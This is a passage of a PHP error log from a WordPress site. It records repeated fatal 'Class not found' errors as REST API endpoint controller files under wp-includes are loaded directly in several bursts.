UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [04-Sep-2026 13:38:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [04-Sep-2026 13:38:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [04-Sep-2026 13:38:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [04-Sep-2026 13:38:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [04-Sep-2026 13:38:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [04-Sep-2026 13:38:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [04-Sep-2026 13:38:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [04-Sep-2026 13:38:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [04-Sep-2026 13:38:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [04-Sep-2026 13:38:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [04-Sep-2026 13:38:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [04-Sep-2026 13:38:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [04-Sep-2026 13:38:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [04-Sep-2026 13:38:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [04-Sep-2026 13:38:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [04-Sep-2026 13:38:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [04-Sep-2026 13:38:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [04-Sep-2026 17:41:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [04-Sep-2026 17:41:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [04-Sep-2026 17:42:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [04-Sep-2026 17:42:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [04-Sep-2026 17:42:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [04-Sep-2026 17:42:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [04-Sep-2026 17:42:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [04-Sep-2026 17:42:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [04-Sep-2026 17:42:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [04-Sep-2026 17:42:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [04-Sep-2026 17:44:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [04-Sep-2026 17:44:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [04-Sep-2026 17:44:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [04-Sep-2026 17:44:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [04-Sep-2026 17:44:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [04-Sep-2026 17:44:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [04-Sep-2026 17:46:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [04-Sep-2026 17:46:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [04-Sep-2026 17:46:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [04-Sep-2026 17:46:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [04-Sep-2026 17:47:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [04-Sep-2026 17:47:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [04-Sep-2026 17:47:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [04-Sep-2026 17:48:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [04-Sep-2026 17:48:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [04-Sep-2026 17:48:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [04-Sep-2026 17:48:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [04-Sep-2026 17:48:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [04-Sep-2026 17:49:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [04-Sep-2026 17:49:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [04-Sep-2026 17:49:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [04-Sep-2026 17:50:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [04-Sep-2026 17:50:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [04-Sep-2026 17:50:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [04-Sep-2026 17:50:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [04-Sep-2026 17:50:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [04-Sep-2026 17:50:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [04-Sep-2026 17:51:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [04-Sep-2026 17:51:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [04-Sep-2026 18:41:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [04-Sep-2026 18:41:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [04-Sep-2026 18:41:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [04-Sep-2026 18:43:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [04-Sep-2026 18:43:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [04-Sep-2026 18:43:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [04-Sep-2026 18:43:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [04-Sep-2026 18:43:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [04-Sep-2026 18:43:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [04-Sep-2026 18:43:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [04-Sep-2026 18:43:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [04-Sep-2026 18:43:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [04-Sep-2026 18:43:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [04-Sep-2026 18:43:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [04-Sep-2026 18:43:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [04-Sep-2026 18:43:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [04-Sep-2026 18:45:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [04-Sep-2026 18:45:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [04-Sep-2026 18:45:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [04-Sep-2026 18:45:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [04-Sep-2026 18:46:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [04-Sep-2026 18:46:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [04-Sep-2026 18:46:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [04-Sep-2026 18:46:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} 